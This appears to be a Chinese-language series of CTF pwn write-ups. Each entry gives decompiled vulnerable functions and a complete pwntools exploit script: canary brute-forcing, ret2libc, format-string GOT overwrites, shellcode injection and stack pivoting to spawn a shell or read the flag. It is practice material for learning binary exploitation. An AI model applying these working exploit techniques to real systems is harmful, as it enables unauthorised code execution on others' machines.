5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')

def pwn():
    sl("A"*0x28)
    rl(b"A"*0x28 + b'\x0a')
    canary = u64(p.recv(7).rjust(8,b'\x00'))
    success("canary: {:#x}".format(canary))
    s(p32(0x2c3))
    s(p64(ret)*10 + p64(0x0000000004007C7) + p64(canary) )
    # debug()
    r()
    # sl("id")
    pr()
    inter()
    # if b"uid" in r():
    #     inter()
    # else:
    #     p.close()
while True:
    try:
        if args['DEBUG']:
            context.log_level = 'debug'
        context.terminal = ['tmux', 'splitw','-h']
        if args['REMOTE']:
            ip = "node4.anna.nssctf.cn"
            port = 28036
            p = remote(ip, port)
        else:
            p = process('./pwn')
            info("pid: {}".format(p.pid))
        elf = ELF("./pwn")
        #libc = ELF('./libc-2.23-x64.so')
        # clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
        rop = ROP("./pwn")
        ret = rop.find_gadget(['ret'])[0]
        pwn()

    except:
        p.close()

[CISCN 2023 初赛]funcanary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary [10:46:01] C:1
$ python3 exp.py 
[+] Starting local process './pwn': pid 35742
[*] pid: 35742
[*] '/home/pwn/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 5 cached gadgets for './pwn'
[*] ret addr : 0x101a
[*] Stopped process './pwn' (pid 35742)

保护全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}
unsigned __int64 sub_128A()
{
  _BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

有溢出有canary有pie，存在fork函数，我了个爆破啊

对fork而言，作用相当于自我复制，每一次复制出来的程序，内存布局都是一样的，当然canary值也一样。那我们就可以逐位爆破，如果程序GG了就说明这一位不对，如果程序正常就可以接着跑下一位，直到跑出正确的canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 26690
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
canary = b'\x00'
sa('welcome\n',b'a'*0x68 + canary + p8(1))
for i in range(7):
for j in range(256):
sa('welcome\n', b'a'*0x68 + canary + p8(j))
if p.recv(2) == b'ha':
canary += p8(j)
break
catflag = 0x0231
while(1):
    for i in range(16):
        payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
        p.send(payload)
        #pause()
        a = p.recvuntil("welcome\n",timeout=1)
        print(a)
        if b"welcome" in a:
                catflag += 0x1000
                continue
        if b"NSSCTF" in a:
            print(a)
            break
p.interactive()

外部连接很慢，爆破了十几分钟

[SWPUCTF 2023 秋季新生赛]签到

1
2
3
4
5
6
7
ssize_t vuln()
{
  _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

  printf("input:");
  return read(0, buf, 0xC8uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node4.anna.nssctf.cn"
    port = 28770
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x30 + 8

payload = flat([cyclic(offset),0x0000000000401237])
sl(payload)
inter()

[CISCN 2019西南]PWN1

劫持fini_array

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[68]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", format);
  printf("Hello ");
  printf(format);
  return 0;
}
  • ​n1 = systemplt & 0xFFFF​：首先，提取 system​ 的低 16 位，即 systemplt​ 的低 16 位。
  • ​n2 = (systemplt >> 16) & 0xFFFF​：接下来，提取 system​ 的高 16 位。
  • ​n3 = main & 0xFFFF​：计算程序 main​ 地址的低 16 位（可能作为跳转的目标）。

​w_offset = 0xe​：w_offset​ 是栈上 %n​ 格式化参数的索引，意味着我们会操作第 14 个参数。

  • ​pay = f'%{n1}c%{w_offset}$hn'​：这将使得 printf​ 输出 n1​ 个字符，并使用 %n​ 将已输出的字符数写入 w_offset​ 指向的地址。即，修改 system​ 地址的低 16 位。

  • ​pay += f'%{0x10000 + n2 - n1}c%{w_offset+1}$hn'​：这个格式化字符串先输出差值（n2 - n1​），然后通过 %n​ 写入 system​ 地址的高 16 位。

  • ​pay += f'%{0x10000 + n3 - n2}c%{w_offset+2}$hn'​：最后，修改 main​ 地址的低 16 位，以进一步控制程序流。

  • ​pay = pay.encode()​：将格式化字符串转换为字节。

  • ​pay += (4 - (len(pay) % 4)) * b'A'​：为了保证数据对齐（4 字节对齐），攻击者可能需要在格式化字符串后填充 A​ 字符。

  • ​pay += p32(printgot)​：写入的第一个地址，即 printgot​（printf​ GOT 的位置）。

  • ​pay += p32(printgot+2)​：写入的第二个地址，printgot+2​，因为 GOT 是 4 字节对齐的，所以第 2 个 n​ 写入的是该地址的第二部分。

  • ​pay += p32(gol)​：最终控制流的劫持fini_array目标地址 gol​，它会触发执行 main​。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 25632
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
printgot = 0x804989c
systemplt =  0x80483D0
gol = 0x804979C
main = 0x08048534

n1 = systemplt & 0xFFFF
n2 = (systemplt>>16) & 0xFFFF
n3 = main & 0xFFFF

w_offset = 0xe
pay  = f'%{n1}c%{w_offset}$hn'
pay += f'%{0x10000 + n2 - n1}c%{w_offset+1}$hn'
pay += f'%{0x10000 + n3 - n2}c%{w_offset+2}$hn'
pay  = pay.encode()
pay += (4 - (len(pay) % 4)) * b'A'
pay += p32(printgot)
pay += p32(printgot+2)
pay += p32(gol)

sl(pay)
sl('/bin/sh')
inter()

[HGAME 2023 week1]simple_shellcode

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
  puts("Please input your shellcode:");
  read(0, (void *)0xCAFE0000LL, 0x10uLL);
  sandbox();
  MEMORY[0xCAFE0000]();
  return 0;
}

嘶，这可以写入0x10的字节

然后会调用，大小不够

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:000000000000137F ; 5:   puts("Please input your shellcode:");
.text:000000000000137F                 lea     rdi, s          ; "Please input your shellcode:"
.text:0000000000001386                 call    _puts
.text:000000000000138B                 mov     rax, [rbp+buf]
.text:000000000000138F                 mov     edx, 10h        ; nbytes
.text:0000000000001394                 mov     rsi, rax        ; buf
.text:0000000000001397                 mov     edi, 0          ; fd
.text:000000000000139C                 mov     eax, 0
.text:00000000000013A1                 call    _read
.text:00000000000013A6 ; 7:   sandbox();
.text:00000000000013A6                 mov     eax, 0
.text:00000000000013AB                 call    sandbox
.text:00000000000013B0 ; 8:   MEMORY[0xCAFE0000]();
.text:00000000000013B0                 mov     rdx, [rbp+buf]
.text:00000000000013B4                 mov     eax, 0
.text:00000000000013B9                 call    rdx

在调用到buf的代码时候，rdx为buf的地址，所以我们可以设置rdi为0，rsi为rdx+0x10的地址，使用syscall调用，然后再次调用call rsi;也就是再次输入的shellcode，这时候read的大小就是rsi的地址值足够容纳shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 28942
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
shellcode = asm('''
xor rdi,rdi;
mov rsi,rdx;
add rsi,0x10;
syscall;
call rsi;
''')
sl(shellcode)
sl(asm(shellcraft.cat("/flag")))
inter()

[HNCTF 2022 WEEK2]ret2libc

1
2
3
4
5
6
ssize_t vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  return read(0, buf, 0x200uLL);
}

打个rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 26221
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x100 + 8

payload = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],rdi,elf.got['read'],elf.plt['puts'],elf.sym['main']])
sl(payload)
puts_addr = get_addr()
read_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("read addr : {:#x}".format(read_addr))
libc_base = puts_addr - 0x84420
system = 0x52290 + libc_base
bin_sh = 0x1b45bd + libc_base
payload2 = flat([cyclic(offset),rdi,bin_sh,system])
sl(payload2)
inter()

[广东省大学生攻防大赛 2022]jmp_rsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:0000000000400B5D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000400B5D                 public main
.text:0000000000400B5D main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400B5D
.text:0000000000400B5D buf             = byte ptr -80h
.text:0000000000400B5D
.text:0000000000400B5D ; __unwind {
.text:0000000000400B5D                 push    rbp
.text:0000000000400B5E                 mov     rbp, rsp
.text:0000000000400B61                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000400B65                 lea     rdi, aThisIsAClassic ; "this is a classic pwn"
.text:0000000000400B6C                 mov     eax, 0
.text:0000000000400B71                 call    printf
.text:0000000000400B76                 lea     rax, [rbp+buf]
.text:0000000000400B7A                 mov     edx, 100h       ; count
.text:0000000000400B7F                 mov     rsi, rax        ; buf
.text:0000000000400B82                 mov     edi, 0          ; fd
.text:0000000000400B87                 call    read
.text:0000000000400B8C                 mov     eax, 0
.text:0000000000400B91                 leave
.text:0000000000400B92                 retn
.text:0000000000400B92 ; } // starts at 400B5D
.text:0000000000400B92 main            endp

buf离栈顶0x80距离，读取0x100的大小，这时候buf指向输入的开头，开启了栈可执行

​image​

我们找到了call rsi这个magic gadget，这样就可以直接调用buf里面的命令，也就是shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
call_rsi = 0x000000000044e631
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x80 + 8
payload1 = asm(shellcraft.sh())
payload1 = payload1.ljust(offset,b'\x00') + p64(call_rsi)
sl(payload1)
inter()

[NSSRound#4 SWPU]真签到题来试试吧

​image​

开启了NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsi
  void *handle; // [rsp+18h] [rbp-8h]

  handle = dlopen("libc.so.6", 258);//加载链接库
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  puts("---    ---    ---------    ---------");
  puts("| | \\  | |   / /----|__|  / /----|__|");
  puts("| |\\ \\ | |   | |_______   | |_______");
  puts("| | \\ \\| |   \\ ______  \\  \\ ______  \\");
  puts("| |  \\ \\ |    _______| |   _______| |");
  puts("| |   \\__|   |_________/  |_________/");
  v3 = dlsym(handle, "system");//加载system函数地址
  printf("%p\n", v3);//输出地址
  vuln("%p\n", v3);
  write(1, "SlVTVCBBIEpPS0UgLCBORVZFUiBNSU5E\n", 0x21uLL);
  return 0;
}
ssize_t __fastcall vuln(const char *a1)
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x100uLL);
}

read往bss段上写入数据，这题有点坑啊，我以为payload错了呢，看了半天加上sleep就成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node4.anna.nssctf.cn"
    port = 28705
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
rsi_r15 = rop.find_gadget(['pop rsi'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
rl("_________/  |_________/\n")
system = int(p.recvuntil("\n",drop=True).decode("utf-8"),16)

bin_sh = 0x000000000404078
offset = 0x80 + 8
payload1 = b'A'*0x88 + p64(rsi_r15) + p64(bin_sh) + p64(0) + p64(elf.plt['read']) + p64(elf.sym['vuln'])
sleep(0.5)
sl(payload1)
sleep(0.5)

sl("/bin/sh\x00")
payload2 = b'A'*0x88  + p64(rdi) +  p64(bin_sh) + p64(system)
sleep(0.5)

sl(payload2)
inter()

[CISCN 2019华南]PWN4

1
2
3
4
5
6
7
8
9
10
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

发现可以写入0x30后print可以泄露出来ebp的值，然后迁移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 23681
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
# print(leave)

# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))

payload1 = b"A"*0x28
s(payload1)
rl(b'A'*0x28)
ebp = u32(p.recv(4)) 
success("fake_ebp: {:#x}".format(ebp-0x30))
success("bin_sh: {:#x}".format(ebp-0x38))

payload2 = b'bbbb' + p32(elf.sym['system']) + b'AAAA' + p32(ebp-0x28) + b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'\x00') + p32(ebp-0x38) + p32(leave)
# debug()
sl(payload2)
# pause()
inter()

11.14

[FSCTF 2023]rdi

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[128]; // [rsp+10h] [rbp-80h] BYREF

  init(argc, argv, envp);
  info();
  read(0, buf, 0xA0uLL);
  return 0;
}
int __fastcall gift(const char *a1)
{
  return system(a1);
}

使用sh也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

rsi_r15 = rop.find_gadget(['pop rsi'])[0]

bin_sh = 0x000000000601088

offset = 0x80 + 8
payload = b'A'*0x88+ p64(rdi) + p64(next(elf.search("sh"))) + p64(0x0000000004006FB) 
print(hex(len(payload)))
sl(payload)
# puts = get_addr()
# success("puts: {:#x}".format(puts))
inter()

[SWPUCTF 2022 新生赛]FindanotherWay

很简单不知道为什么没人做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
